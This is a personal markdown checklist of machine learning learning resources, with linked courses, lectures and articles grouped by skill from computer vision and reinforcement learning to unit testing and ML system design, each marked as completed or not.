- [X] [In Search of Best Practices for NLP Projects | Ivan Bilan | PyData Pune Meetup | December 2020](https://www.youtube.com/watch?v=0S9iai4Ld4I) `0:50:00`
- [X] [Youtube: Generating and Understanding Natural Language with AI (Aidan Gomez, PhD)](https://www.youtube.com/watch?v=ps1B2WxlxV0) `0:52:12`
- [X] [Youtube: The giant leaps in language technology -- and who's left behind | Kalika Bali](https://www.youtube.com/watch?v=Mkelhs_OVMc)
- [ ] [Youtube: ML for Audio Study Group](#)
- [X] [ML for Audio Study Group - Kick Off](https://www.youtube.com/watch?v=cAviRhkqdnc)
### Be familiar with multi-modal machine learning
- [ ] [CMU: MultiModal Machine Learning Fall 2020](https://cmu-multicomp-lab.github.io/mmml-course/fall2020/schedule/)
- [ ] [Lecture 1.1: Course Introduction](https://www.youtube.com/watch?v=VIq5r7mCAyw)
- [ ] [Lecture 1.2: Multimodal applications and datasets](https://www.youtube.com/watch?v=fBYu8I52nVM)
- [ ] [Lecture 2.1: Basic concepts: neural networks](https://www.youtube.com/watch?v=yPrwVpeysG8)
- [ ] [Lecture 2.2: Basic concepts: network optimization](https://www.youtube.com/watch?v=E_3gxQWaCoQ)
- [ ] [Lecture 3.1: Visual unimodal representations](https://www.youtube.com/watch?v=skcv-Xo33BM)
- [ ] [Lecture 3.2: Language unimodal representations](https://www.youtube.com/watch?v=XVHN0izviAw)
- [ ] [Lecture 4.1: Multimodal representation learning](https://www.youtube.com/watch?v=37z_tJD81y8)
- [ ] [Lecture 4.2: Coordinated representations](https://www.youtube.com/watch?v=2_dZ5GBlRgU)
- [ ] [Lecture 5.1: Multimodal alignment](https://www.youtube.com/watch?v=4P4qBBxpthg)
- [ ] [Lecture 5.2: Alignment and representation](https://www.youtube.com/watch?v=xcOMHwjNLaA)
- [ ] [Lecture 7.1: Alignment and translation](https://www.youtube.com/watch?v=rLGIrhq8HlQ)
- [ ] [Lecture 7.2: Probabilistic graphical models](https://www.youtube.com/watch?v=L1TiP9P55-8)
- [ ] [Lecture 8.1: Discriminative graphical models](https://www.youtube.com/watch?v=ZdR6aljufXk)
- [ ] [Lecture 8.2: Deep Generative Models](https://www.youtube.com/watch?v=qEbYtPhG768)
- [ ] [Lecture 9.1: Reinforcement learning](https://www.youtube.com/watch?v=OI02F2XEe_0)
- [ ] [Lecture 9.2: Multimodal RL](https://www.youtube.com/watch?v=UsAgvMC5fRs)
- [ ] [Lecture 10.1: Fusion and co-learning](https://www.youtube.com/watch?v=2xr4P0WGKSA)
- [ ] [Lecture 10.2: New research directions](https://www.youtube.com/watch?v=g3ZpSiwusrM)
- [X] [Youtube: W&B Paper Reading Group: MDETR with author Aishwarya Kamath](https://www.youtube.com/watch?v=I68nn_0odto)
### Be familiar with Recommendation Systems
- [ ] [Google: Recommendation Systems](https://developers.google.com/machine-learning/recommendation)
- [X] [Pluralsight: Understanding Algorithms for Recommendation Systems](https://www.pluralsight.com/courses/algorithms-recommendation-systems)
- [X] [Youtube: Learning to Rank: From Theory to Production - Malvina Josephidou & Diego Ceccarelli, Bloomberg](https://youtu.be/eMuepJpjUjI)
- [X] [Youtube: Learning "Learning to Rank"](https://youtu.be/7teudGhdnqo)
- [X] [Youtube: Learning to rank search results - Byron Voorbach & Jettro Coenradie [DevCon 2018]](https://youtu.be/TG7aNLgzIcM)
### Be able to implement computer vision models
- [ ] [Article: Common architectures in convolutional neural networks](https://www.jeremyjordan.me/convnet-architectures/)
- [ ] [Article: Convolutional neural networks](https://www.jeremyjordan.me/convolutional-neural-networks/)
- [ ] [Article: Densely Connected Convolutional Networks in Tensorflow](https://sthalles.github.io/densely-connected-conv-nets/)
- [ ] [Article: EfficientNet: Rethinking Model Scaling for Convolutional Neural Networks](https://amaarora.github.io/2020/08/13/efficientnet.html)
- [ ] [Article: Multimodal Neurons in Artificial Neural Networks](https://openai.com/blog/multimodal-neurons/)
- [ ] [Article: Understanding the receptive field of deep convolutional networks](https://theaisummer.com/receptive-field/)
- [ ] [Article: Deep learning in medical imaging - 3D medical image segmentation with PyTorch](https://theaisummer.com/medical-image-deep-learning/)
- [ ] [Article: Intuitive Explanation of Skip Connections in Deep Learning](https://theaisummer.com/skip-connections/)
- [ ] [Article: Localization and Object Detection with Deep Learning](https://theaisummer.com/Localization_and_Object_Detection/)
- [ ] [Article: Understanding coordinate systems and DICOM for deep learning medical image analysis](https://theaisummer.com/medical-image-coordinates/)
- [X] [Article: The 9 Deep Learning Papers You Need To Know About (Understanding CNNs Part 3)](https://adeshpande3.github.io/adeshpande3.github.io/The-9-Deep-Learning-Papers-You-Need-To-Know-About.html)
- [ ] [Article: An overview of object detection: one-stage methods](https://www.jeremyjordan.me/object-detection-one-stage/)
- [ ] [Article: An overview of semantic image segmentation](https://www.jeremyjordan.me/semantic-segmentation/)
- [ ] [Article: Evaluating image segmentation models](https://www.jeremyjordan.me/evaluating-image-segmentation-models/)
- [ ] [Article: Semantic Segmentation in the era of Neural Networks](https://theaisummer.com/Semantic_Segmentation/)
- [ ] [Article: DenseNet Architecture Explained with PyTorch Implementation from TorchVision](https://amaarora.github.io/2020/08/02/densenets.html)
- [ ] [Article: Group Normalization](https://amaarora.github.io/2020/08/09/groupnorm.html)
- [ ] [Article: Squeeze and Excitation Networks Explained with PyTorch Implementation](https://amaarora.github.io/2020/07/24/SeNet.html)
- [ ] [Article: What is Focal Loss and when should you use it?](https://amaarora.github.io/2020/06/29/FocalLoss.html)
- [ ] [Article: Object Detection for Dummies Part 1: Gradient Vector, HOG, and SS](https://lilianweng.github.io/lil-log/2017/10/29/object-recognition-for-dummies-part-1.html)
- [ ] [Article: Object Detection for Dummies Part 2: CNN, DPM and Overfeat](https://lilianweng.github.io/lil-log/2017/12/15/object-recognition-for-dummies-part-2.html)
- [ ] [Article: Object Detection for Dummies Part 3: R-CNN Family](https://lilianweng.github.io/lil-log/2017/12/31/object-recognition-for-dummies-part-3.html)
- [ ] [Article: A Short Introduction to Generative Adversarial Networks](https://sthalles.github.io/semi-supervised-learning-with-gans/)
- [ ] [Article: Semi-supervised Learning with GANs](https://sthalles.github.io/intro-to-gans/)
- [ ] [Article: Human Pose Estimation](https://theaisummer.com/Human-Pose-Estimation/)
- [X] [Article: How to extract Key-Value pairs from Documents using deep learning](https://nanonets.com/blog/key-value-pair-extraction-from-documents-using-ocr-and-deep-learning/)
- [ ] [Article: Building an image search service from scratch](https://mlpowered.com/posts/image-search/)
- [ ] [Article: Breaking Linear Classifiers on ImageNet](http://karpathy.github.io/2015/03/30/breaking-convnets/)
- [ ] [Article: Essential Pil (Pillow) Image Tutorial (for Machine Learning People)](https://neptune.ai/blog/pil-image-tutorial-for-machine-learning)
- [ ] [Article: A Brief History of CNNs in Image Segmentation: From R-CNN to Mask R-CNN](https://blog.athelas.com/a-brief-history-of-cnns-in-image-segmentation-from-r-cnn-to-mask-r-cnn-34ea83205de4)
- [ ] [Article: YOLO - You only look once (Single shot detectors)](https://theaisummer.com/YOLO/)
- [ ] [Article: NonCompositional](https://fh295.github.io/noncompositional.html)
- [ ] [Article: Part 1: Deep Representations, a way towards neural style transfer](https://wandb.ai/authors/nerual_style_transfer/reports/Part-1-Deep-Representations-a-way-towards-neural-style-transfer--VmlldzoyMjQzNDY)
- [X] [Article: Looking Inside The Blackbox — How To Trick A Neural Network](https://towardsdatascience.com/peering-inside-the-blackbox-how-to-trick-a-neural-network-757c90a88a73)
- [ ] [Article: A gentle introduction to OCR](https://towardsdatascience.com/a-gentle-introduction-to-ocr-ee1469a201aa)
- [ ] [Article: ECCV 2020: Some Highlights](https://yassouali.github.io/ml-blog/eccv2020/)
- [X] [AWS: Semantic Segmentation Explained](https://www.aws.training/learningobject/video?id=27238)
- [ ] [Book: Deep Learning for Computer Vision with Python](https://www.pyimagesearch.com/deep-learning-computer-vision-python-book/)
- [ ] [Book: Practical Python and OpenCV](https://www.pyimagesearch.com/practical-python-opencv/)
- [ ] [Coursera: Convolutional Neural Networks](https://www.coursera.org/learn/convolutional-neural-networks?specialization=deep-learning)
- [ ] [Datacamp: Image Processing in Python](https://www.datacamp.com/courses/image-processing-in-python)
- [X] [Google: ML Practicum: Image Classification](https://developers.google.com/machine-learning/practica/image-classification)
- [ ] [Stanford: CS231N Winter 2016](https://www.youtube.com/playlist?list=PLkt2uSq6rBVctENoVBg1TpCC7OQi31AlC)
- [X] [CS231n Winter 2016: Lecture 1: Introduction and Historical Context](https://www.youtube.com/watch?v=NfnWJUyUJYU) `1:19:08`
- [X] [CS231n Winter 2016: Lecture 2: Data-driven approach, kNN, Linear Classification 1](https://www.youtube.com/watch?v=8inugqHkfvE) `0:57:28`
- [ ] [CS231n Winter 2016: Lecture 3: Linear Classification 2, Optimization](https://www.youtube.com/watch?v=qlLChbHhbg4) `1:11:23`
- [ ] [CS231n Winter 2016: Lecture 4: Backpropagation, Neural Networks 1](https://www.youtube.com/watch?v=i94OvYb6noo) `1:19:38`
- [ ] [CS231n Winter 2016: Lecture 5: Neural Networks Part 2](https://www.youtube.com/watch?v=gYpoJMlgyXA) `1:18:37`
- [ ] [CS231n Winter 2016: Lecture 6: Neural Networks Part 3 / Intro to ConvNets](https://www.youtube.com/watch?v=hd_KFJ5ktUc) `1:09:35`
- [ ] [CS231n Winter 2016: Lecture 7: Convolutional Neural Networks](https://www.youtube.com/watch?v=LxfUGhug-iQ) `1:19:01`
- [ ] [CS231n Winter 2016: Lecture 8: Localization and Detection](https://www.youtube.com/watch?v=GxZrEKZfW2o) `1:04:57`
- [ ] [CS231n Winter 2016: Lecture 9: Visualization, Deep Dream, Neural Style, Adversarial Examples](https://www.youtube.com/watch?v=ta5fdaqDT3M) `1:18:20`
- [ ] [CS231n Winter 2016: Lecture 10: Recurrent Neural Networks, Image Captioning, LSTM](https://www.youtube.com/watch?v=yCC09vCHzF8) `1:09:54`
- [ ] [CS231n Winter 2016: Lecture 11: ConvNets in practice](https://www.youtube.com/watch?v=pA4BsUK3oP4) `1:15:03`
- [ ] [CS231n Winter 2016: Lecture 12: Deep Learning libraries](https://www.youtube.com/watch?v=Vf_-OkqbwPo) `1:21:06`
- [ ] [CS231n Winter 2016: Lecture 14: Videos and Unsupervised Learning](https://www.youtube.com/watch?v=ekyBklxwQMU) `1:17:36`
- [ ] [CS231n Winter 2016: Lecture 13: Segmentation, soft attention, spatial transformers](https://www.youtube.com/watch?v=ByjaPdWXKJ4) `1:10:59`
- [X] [CS231n Winter 2016: Lecture 15: Invited Talk by Jeff Dean](https://www.youtube.com/watch?v=T7YkPWpwFD4) `1:14:49`
- [ ] [Youtube: Autoencoders - EXPLAINED](https://www.youtube.com/watch?v=7mRfwaGGAPg) `0:10:53`
- [ ] [Youtube: Building an Image Captioner with Neural Networks](https://www.youtube.com/watch?v=c_bVBYxX5EU) `0:12:54`
- [ ] [Youtube: Convolution Neural Networks - EXPLAINED](https://www.youtube.com/watch?v=m8pOnJxOcqY) `0:19:20`
- [ ] [Youtube: Depthwise Separable Convolution - A FASTER CONVOLUTION!](https://www.youtube.com/watch?v=T7o3xvJLuHk) `0:12:43`
- [ ] [Youtube: Generative Adversarial Networks - FUTURISTIC & FUN AI !](https://www.youtube.com/watch?v=O8LAi6ksC80) `0:14:20`
- [ ] [Youtube: How Convolution Works](https://www.youtube.com/watch?v=B-M5q51U8SM&feature=youtu.be)
- [ ] [Youtube: Mask Region based Convolution Neural Networks - EXPLAINED!](https://www.youtube.com/watch?v=4tkgOzQ9yyo) `0:09:34`
- [ ] [Youtube: Sound play with Convolution Neural Networks](https://www.youtube.com/watch?v=GNza2ncnMfA) `0:11:57`
- [ ] [Youtube: The Evolution of Convolution Neural Networks](https://www.youtube.com/watch?v=Y2Tna77k1aI) `0:24:02`
- [X] [Youtube: An Image is Worth 16x16 Words: Transformers for Image Recognition at Scale (Paper Explained)](https://www.youtube.com/watch?v=TrdevFK_am4)
- [X] [Youtube: Deep Residual Learning for Image Recognition (Paper Explained)](https://www.youtube.com/watch?v=GWt6Fu05voI)
- [ ] [Youtube: Evolution of Face Generation | Evolution of GANs](https://www.youtube.com/watch?v=C1YUYWP-6rE) `0:12:23`
- [ ] [Youtube: ConvNets Scaled Efficiently](https://www.youtube.com/watch?v=fC39F8AqPo0) `0:13:19`
- [X] [Youtube: Implementing ResNet from scratch](https://www.youtube.com/playlist?list=PLbMqOoYQ3MxywF4R6MOJO7i9jFEeSGSSC)
- [X] [Youtube: DETR: End-to-End Object Detection with Transformers (Paper Explained)](https://www.youtube.com/watch?v=T35ba_VXkMY)
- [ ] [Youtube: Unpaired Image-Image Translation using CycleGANs](https://www.youtube.com/watch?v=NyAosnNQv_U) `0:16:22`
- [ ] [Youtube: Formula Indexing, Search, and Entry in the MathSeer Project](https://youtu.be/QXkS4XkmZRI) `0:52:07`
- [ ] [Youtube: What's new in computer vision | July Queensland AI](https://www.youtube.com/watch?v=IYg46wNyDgo) `1:21:33`
### Be familiar with graphs and network data
- [X] [Datacamp: Network Analysis in Python (Part 1)](https://www.datacamp.com/courses/network-analysis-in-python-part-1)
- [ ] [Datacamp: Network Analysis in Python (Part 2)](https://www.datacamp.com/courses/network-analysis-in-python-part-2)
### Be familiar with timeseries and forecasting
- [ ] [Datacamp: Machine Learning for Finance in Python](https://www.datacamp.com/courses/machine-learning-for-finance-in-python)
- [X] [Datacamp: Introduction to Time Series Analysis in Python](https://www.datacamp.com/courses/introduction-to-time-series-analysis-in-python)
- [ ] [Datacamp: Machine Learning for Time Series Data in Python](https://www.datacamp.com/courses/machine-learning-for-time-series-data-in-python)
- [ ] [Datacamp: Intro to Portfolio Risk Management in Python](https://www.datacamp.com/courses/intro-to-portfolio-risk-management-in-python)
- [ ] [Datacamp: Financial Forecasting in Python](https://www.datacamp.com/courses/financial-forecasting-in-python)
- [X] [Datacamp: Predicting CTR with Machine Learning in Python](https://www.datacamp.com/courses/predicting-ctr-with-machine-learning-in-python)
- [X] [Datacamp: Intro to Financial Concepts using Python](https://www.datacamp.com/courses/intro-to-financial-concepts-using-python)
- [X] [Datacamp: Fraud Detection in Python](https://www.datacamp.com/courses/fraud-detection-in-python)
- [ ] [Datacamp: Forecasting Using ARIMA Models in Python](https://www.datacamp.com/courses/forecasting-using-arima-models-in-python)
- [ ] [Datacamp: Introduction to Portfolio Analysis in Python](https://www.datacamp.com/courses/introduction-to-portfolio-analysis-in-python)
- [ ] [Datacamp: Credit Risk Modeling in Python](https://www.datacamp.com/courses/credit-risk-modeling-in-python)
- [ ] [Datacamp: Machine Learning for Marketing in Python](https://www.datacamp.com/courses/machine-learning-for-marketing-in-python)
- [ ] [Udacity: Machine Learning for Trading](https://www.udacity.com/course/machine-learning-for-trading--ud501)
- [ ] [Udacity: Time Series Forecasting](https://www.udacity.com/course/time-series-forecasting--ud980)
- [ ] [Youtube: Applied ML 2020 - 21 - Time Series and Forecasting](https://www.youtube.com/watch?v=GVGEnaJsuu8) `1:12:36`
### Be familiar with basics of Reinforcement Learning
- [X] [DeepLizard: Reinforcement Learning - Goal Oriented Intelligence](https://www.youtube.com/playlist?list=PLZbbT5o_s2xoWNVdDudn51XM8lOuZ_Njv)
- [X] [Reinforcement Learning Series Intro - Syllabus Overview](https://www.youtube.com/watch?v=nyjbcRQ-uQ8) `0:05:51`
- [X] [Markov Decision Processes (MDPs) - Structuring a Reinforcement Learning Problem](https://www.youtube.com/watch?v=my207WNoeyA) `0:06:34`
- [X] [Expected Return - What Drives a Reinforcement Learning Agent in an MDP](https://www.youtube.com/watch?v=a-SnJtmBtyA) `0:06:47`
- [X] [Policies and Value Functions - Good Actions for a Reinforcement Learning Agent](https://www.youtube.com/watch?v=eMxOGwbdqKY) `0:06:52`
- [X] [What do Reinforcement Learning Algorithms Learn - Optimal Policies](https://www.youtube.com/watch?v=rP4oEpQbDm4) `0:06:21`
- [X] [Q-Learning Explained - A Reinforcement Learning Technique](https://www.youtube.com/watch?v=qhRNvCVVJaA) `0:08:37`
- [X] [Exploration vs. Exploitation - Learning the Optimal Reinforcement Learning Policy](https://www.youtube.com/watch?v=mo96Nqlo1L8) `0:10:06`
- [X] [OpenAI Gym and Python for Q-learning - Reinforcement Learning Code Project](https://www.youtube.com/watch?v=QK_PP_2KgGE) `0:07:52`
- [X] [Train Q-learning Agent with Python - Reinforcement Learning Code Project](https://www.youtube.com/watch?v=HGeI30uATws) `0:08:59`
- [X] [Watch Q-learning Agent Play Game with Python - Reinforcement Learning Code Project](https://www.youtube.com/watch?v=ZaILVnqZFCg) `0:07:22`
- [X] [Deep Q-Learning - Combining Neural Networks and Reinforcement Learning](https://www.youtube.com/watch?v=wrBUkpiRvCA) `0:10:50`
- [X] [Replay Memory Explained - Experience for Deep Q-Network Training](https://www.youtube.com/watch?v=Bcuj2fTH4_4) `0:06:21`
- [X] [Training a Deep Q-Network - Reinforcement Learning](https://www.youtube.com/watch?v=0bt0SjbS3xc) `0:09:07`
- [X] [Training a Deep Q-Network with Fixed Q-targets - Reinforcement Learning](https://www.youtube.com/watch?v=xVkPh9E9GfE) `0:07:35`
- [X] [Deep Q-Network Code Project Intro - Reinforcement Learning](https://www.youtube.com/watch?v=FU-sNVew9ZA) `0:06:26`
- [X] [Build Deep Q-Network - Reinforcement Learning Code Project](https://www.youtube.com/watch?v=PyQNfsGUnQA) `0:16:51`
- [X] [Deep Q-Network Image Processing and Environment Management - Reinforcement Learning Code Project](https://www.youtube.com/watch?v=jkdXDinWfo8) `0:21:53`
- [X] [Deep Q-Network Training Code - Reinforcement Learning Code Project](https://www.youtube.com/watch?v=ewRw996uevM) `0:19:46`
### Be able to perform hyperparameter tuning
- [X] [A recipe for training neural networks](http://karpathy.github.io/2019/04/25/recipe/)
- [ ] [Article: Hyperparameter tuning for machine learning models](https://www.jeremyjordan.me/hyperparameter-tuning/)
- [ ] [Article: Hacker's Guide to Hyperparameter Tuning](https://www.curiousily.com/posts/hackers-guide-to-hyperparameter-tuning/)
- [ ] [Article: Environment and Distribution Shift](http://d2l.ai/chapter_multilayer-perceptrons/environment.html#types-of-distribution-shift)
- [ ] [Coursera: Improving Deep Neural Networks: Hyperparameter tuning, Regularization and Optimization](https://www.coursera.org/learn/deep-neural-network?specialization=deep-learning)
- [X] [Datacamp: Model Validation in Python](https://www.datacamp.com/courses/model-validation-in-python)
- [X] [Datacamp: Hyperparameter Tuning in Python](https://www.datacamp.com/courses/hyperparameter-tuning-in-python)
- [ ] [Google: Testing and Debugging](https://developers.google.com/machine-learning/testing-debugging)
- [ ] [Troubleshooting Deep Neural Networks](http://josh-tobin.com/assets/pdf/troubleshooting-deep-neural-networks-01-19.pdf)
- [ ] [Youtube: How do GPUs speed up Neural Network training?](https://www.youtube.com/watch?v=EKD1kEMNeeU) `0:08:19`
- [ ] [Youtube: Why use GPU with Neural Networks?](https://www.youtube.com/watch?v=GRRMi7UfZHg) `0:09:43`
- [X] [Youtube: Auto-Tuning Hyperparameters with Optuna and PyTorch](https://www.youtube.com/watch?v=P6NwZVl8ttc&t)
### Be familiar with literature on model interpretability
- [ ] [Article: Model Interpretation Frameworks](https://medium.com/acing-ai/model-interpretation-frameworks-9f87b202f3b8)
- [X] [Article: How to leverage Explainable Machine Learning](https://www.maartengrootendorst.com/blog/black-boxes/)
- [X] [Article: TracIn — A Simple Method to Estimate Training Data Influence](https://ai.googleblog.com/2021/02/tracin-simple-method-to-estimate.html)
- [ ] [Article: How to Explain the Prediction of a Machine Learning Model?](https://lilianweng.github.io/lil-log/2017/08/01/how-to-explain-the-prediction-of-a-machine-learning-model.html)
- [ ] [NeurIPS 2020: Tutorial on Explaining ML Predictions: State-of-the-art, Challenges, and Opportunities](https://www.youtube.com/watch?v=EbpU4p_0hes&feature=emb_logo)
- [ ] [Youtube: Jay Alammar - Take A Look Inside Language Models With Ecco](https://www.youtube.com/watch?v=rHrItfNeuh0)
- [X] [Youtube: How do we check if a neural network has learned a specific phenomenon?](https://www.youtube.com/watch?v=fL22NAtMNYo)
- [X] [Youtube: What is Adversarial Machine Learning and what to do about it? – Adversarial example compilation](https://youtu.be/YyTyWGUUhmo)
- [ ] [Youtube: SE4AI: Explainability and Interpretability (Part 1)](https://www.youtube.com/watch?v=uz2t2IROZRM) `1:17:45`
- [ ] [Youtube: SE4AI: Explainability and Interpretability (Part 2)](https://www.youtube.com/watch?v=3xm5rMM_rCY) `1:21:50`
### Be able to optimize models for inference
- [X] [Article: A Survey of Methods for Model Compression in NLP](https://www.pragmatic.ml/a-survey-of-methods-for-model-compression-in-nlp/)
- [X] [Article: Why you should convert your NLP pipelines to ONNX](https://towardsdatascience.com/why-you-should-convert-your-nlp-pipelines-to-onnx-2c4a3433325f)
- [ ] [Article: Neural Network Pruning](https://nathanhubens.github.io/posts/deep%20learning/2020/05/22/pruning.html)
- [ ] [Article: FasterAI](https://nathanhubens.github.io/posts/deep%20learning/2020/08/17/FasterAI.html)
- [X] [Article: Is the future of Neural Networks Sparse? An Introduction (1/N)](https://medium.com/huggingface/is-the-future-of-neural-networks-sparse-an-introduction-1-n-d03923ecbd70)
- [X] [Article: Sparse Neural Networks (2/N): Understanding GPU Performance.](https://medium.com/huggingface/sparse-neural-networks-2-n-gpu-performance-b8bc9ce950fc)
- [X] [Article: Block Sparse Matrices for Smaller and Faster Language Models](https://huggingface.co./blog/pytorch_block_sparse)
- [ ] [Article: Plunging Into Model Pruning in Deep Learning](https://wandb.ai/authors/pruning/reports/Plunging-Into-Model-Pruning-in-Deep-Learning--VmlldzoxMzcyMDg)
- [ ] [Article: How to accelerate and compress neural networks with quantization](https://towardsdatascience.com/how-to-accelerate-and-compress-neural-networks-with-quantization-edfbbabb6af7)
- [ ] [Article: Scaling up BERT-like model Inference on modern CPU - Part 1](https://huggingface.co./blog/bert-cpu-scaling-part-1)
### Be able to write unit tests
- [X] [Article: Effective testing for machine learning systems](https://www.jeremyjordan.me/testing-ml)
- [X] [Article: Unit Testing for Data Scientists](https://www.maartengrootendorst.com/blog/unit/)
- [ ] [Article: Testing in Production, the safe way](https://copyconstruct.medium.com/testing-in-production-the-safe-way-18ca102d0ef1)
- [X] [Article: How to cheat at unit tests with pytest and Black](https://simonwillison.net/2020/Feb/11/cheating-at-unit-tests-pytest-black/)
- [X] [Article: 4 Lesser-Known Yet Awesome Tips for Pytest](https://towardsdatascience.com/4-lessor-known-yet-awesome-tips-for-pytest-2117d8a62d9c)
- [ ] [Article: How to Unit Test Deep Learning: Tests in TensorFlow, mocking and test coverage](https://theaisummer.com/unit-test-deep-learning/)
- [X] [Article: Test-Driven Machine Learning Development (Deployment Series: Guide 07)](https://mlinproduction.com/testing-machine-learning-models-deployment-series-07/)
- [X] [Datacamp: Unit Testing for Data Science in Python](https://www.datacamp.com/courses/unit-testing-for-data-science-in-python)
- [X] [Pluralsight: Test-driven Development: The Big Picture](https://www.pluralsight.com/courses/test-driven-development-big-picture)
- [ ] [Test Driven Development with Python](http://chimera.labs.oreilly.com/books/1234000000754/index.html)
- [ ] [Thoughtbot: Fundamentals of TDD](https://thoughtbot.com/upcase/fundamentals-of-tdd)
- [ ] [Udacity: Software Analysis & Testing](https://www.udacity.com/course/software-analysis-testing--ud333)
- [ ] [Udacity: Software Testing](https://www.udacity.com/course/software-testing--cs258)
- [ ] [Udacity: Software Debugging](https://www.udacity.com/course/software-debugging--cs259)
- [X] [Youtube: Beyond Accuracy: Behavioral Testing of NLP Models with CheckList | AISC](https://www.youtube.com/watch?v=A0od6RosVSA)
- [ ] [Youtube: Lecture 10: ML Testing & Explainability (Full Stack Deep Learning - Spring 2021)](https://www.youtube.com/watch?v=K42wdqpZymw) `1:41:12`
- [X] [Youtube: Lab 8: Testing and Continuous Integration (Full Stack Deep Learning - Spring 2021)](https://www.youtube.com/watch?v=D3YeQcE9tSg) `0:13:26`
### Be familiar with ML System Design
- [X] [Article: Architecting a Machine Learning Pipeline](https://towardsdatascience.com/architecting-a-machine-learning-pipeline-a847f094d1c7)
- [X] [Article: Combining rule engines and machine learning](http://nlathia.github.io/2020/10/ML-and-rule-engines.html)
- [X] [Article: Deploying Machine Learning Models: A Checklist](https://twolodzko.github.io/ml-checklist)
- [X] [Article: Getting machine learning to production](http://veekaybee.github.io/2020/06/09/ml-in-prod/)
- [X] [Article: How to build scalable Machine Learning systems — Part 1/2](https://towardsdatascience.com/being-a-data-scientist-does-not-make-you-a-software-engineer-c64081526372)
- [X] [Article: How to properly ship and deploy your machine learning model](https://towardsdatascience.com/how-to-properly-ship-and-deploy-your-machine-learning-model-8a8664b763c4)
- [X] [Article: How to put machine learning models into production](https://stackoverflow.blog/2020/10/12/how-to-put-machine-learning-models-into-production/)
- [X] [Article: Key Concepts for Deploying Machine Learning Models to Mobile](https://spell.ml/blog/key-concepts-for-deploying-machine-learning-models-X7Q0phIAACIAqMWr)
- [X] [Article: Machine Learning to Production](https://vikramriyer.github.io/machine-learning-to-production/#)
- [X] [Article: Machine learning is going real-time](https://huyenchip.com/2020/12/27/real-time-machine-learning.html)
- [ ] [Article: ML Infrastructure Tools for Model Building](https://towardsdatascience.com/ml-infrastructure-tools-for-model-building-464770ac4fec)
- [ ] [Article: ML Infrastructure Tools for Production (Part 1)](https://towardsdatascience.com/ml-infrastructure-tools-for-production-1b1871eecafb)
- [ ] [Article: ML Infrastructure Tools for Production](https://towardsdatascience.com/ml-infrastructure-tools-for-production-part-2-model-deployment-and-serving-fcfc75c4a362)
- [X] [Article: How to Deploy a Machine Learning Model](https://www.maartengrootendorst.com/blog/deploy/)
- [X] [Article: Building a feature store](http://nlathia.github.io/2020/12/Building-a-feature-store.html)
- [X] [Article: Model artifacts: the war stories](http://nlathia.github.io/2020/09/Model-artifacts-war-stories.html)
- [ ] [Article: Machine learning system design](https://medium.com/acing-ai/machine-learning-system-design-c3a35c7df07d)
- [ ] [Article: What is ML model governance?](https://medium.com/acing-ai/what-is-ml-model-governance-ce1c3d452e6)
- [ ] [Article: Building scalable and efficient ML Pipelines](https://medium.com/acing-ai/building-scalable-and-efficient-ml-pipelines-a9f61d2ecbbd)
- [ ] [Article: What are common dataset challenges at scale?](https://medium.com/acing-ai/what-are-common-dataset-challenges-at-scale-6c440440d41d)
- [ ] [Article: How to technically distinguish among data projects?](https://medium.com/acing-ai/how-to-technically-distinguish-among-data-projects-5792dda86cc0)
- [ ] [Article: Securing ML applications](https://medium.com/acing-ai/securing-ml-applications-efa1bb7d75bd)
- [ ] [Article: Data Pipelines — Agile considerations](https://medium.com/acing-ai/data-pipelines-agile-considerations-8b1933909bb1)
- [ ] [Article: Data Lineage — An Operational perspective](https://medium.com/acing-ai/data-lineage-an-operational-perspective-d807e52e2198)
- [ ] [Article: The Ultimate Guide to Model Retraining](https://mlinproduction.com/model-retraining/)
- [ ] [Book: Machine Learning Systems Design](https://huyenchip.com/machine-learning-systems-design/toc.html)
- [ ] [Doc: Lecture 3: Data engineering](https://docs.google.com/document/d/1b9iuZiDEGVLHyMmnf6w2y1aN6yWQhAyqk3GHlpI9q6M/edit)
- [X] [Datacamp: Data Engineering for Everyone](https://www.datacamp.com/courses/data-engineering-for-everyone)
- [ ] [Youtube: Applied ML in Production](https://www.youtube.com/playlist?list=PLqy_sIcckLC2jrxQhyqWDhL_9Uwxz8UFq)
- [X] [Objective · Applied ML in Production](https://www.youtube.com/watch?v=_sYrVHGRqPo) `0:02:38`
- [X] [Solution · Applied ML in Production](https://www.youtube.com/watch?v=Gi1VlFV8e_k) `0:08:53`
- [X] [Evaluation · Applied ML in Production](https://www.youtube.com/watch?v=AwajdDVR_C4) `0:04:02`
- [X] [Iteration · Applied ML in Production](https://www.youtube.com/watch?v=Bit1IUVWrkY) `0:04:35`
- [X] [Annotation · Applied ML in Production](https://www.youtube.com/watch?v=Kj_5ZO6nsfk) `0:14:34`
- [X] [Exploratory Data Analysis (EDA) · Applied ML in Production](https://www.youtube.com/watch?v=3Vrlvrjigvs&feature=emb_logo) `0:09:02`
- [ ] [Youtube: SE4AI: Software Architecture of AI-Enabled Systems](https://www.youtube.com/watch?v=KIC-sFz5OT8) `1:14:24`
- [ ] [Youtube: SE4AI: Invited Talk Molham Aref "Business Systems with Machine Learning"](https://www.youtube.com/watch?v=_bvrzYOA8dY) `0:47:53`
- [ ] [Youtube: MLOps #4: Shubhi Jain - Building an ML Platform @SurveyMonkey](https://www.youtube.com/watch?v=oq1g4s2dUHE) `0:55:42`
- [ ] [Youtube: MLOps Meetup #6: Mid-Scale Production Feature Engineering with Dr. Venkata Pingali](https://www.youtube.com/watch?v=1CcYuVVwOGg) `1:01:35`
- [ ] [Youtube: MLOps meetup #5 High Stakes ML with Flavio CLesio](https://www.youtube.com/watch?v=9g4deV1uNZo) `0:55:27`
- [ ] [Youtube: MLOps meetup #7 Alex Spanos // TrueLayer 's MLOps Pipeline](https://www.youtube.com/watch?v=cUxK28ocZcw) `0:56:17`
- [ ] [Youtube: #11 Machine Learning at scale in Mercado Libre with Carlos de la Torre](https://www.youtube.com/watch?v=ypySVdT9U7Q) `0:59:28`
- [ ] [Youtube: MLOps #14: Kubeflow vs MLflow with Byron Allen](https://www.youtube.com/watch?v=TsGQZ0D3688) `0:54:57`
- [ ] [Youtube: MLOps #15 - Scaling Human in the Loop Machine Learning with Robert Munro](https://www.youtube.com/watch?v=LwbbGsuNpao) `0:55:04`
- [ ] [Youtube: MLOps #18 // Nubank - Running a fintech on ML](https://www.youtube.com/watch?v=ry_P5D_d7XA) `0:53:19`
- [ ] [Youtube: Feature Stores: An essential part of the ML stack to build great data / Kevin Stumpf - CTO at Tecton](https://www.youtube.com/watch?v=IjO8VUCIZxc) `1:05:46`
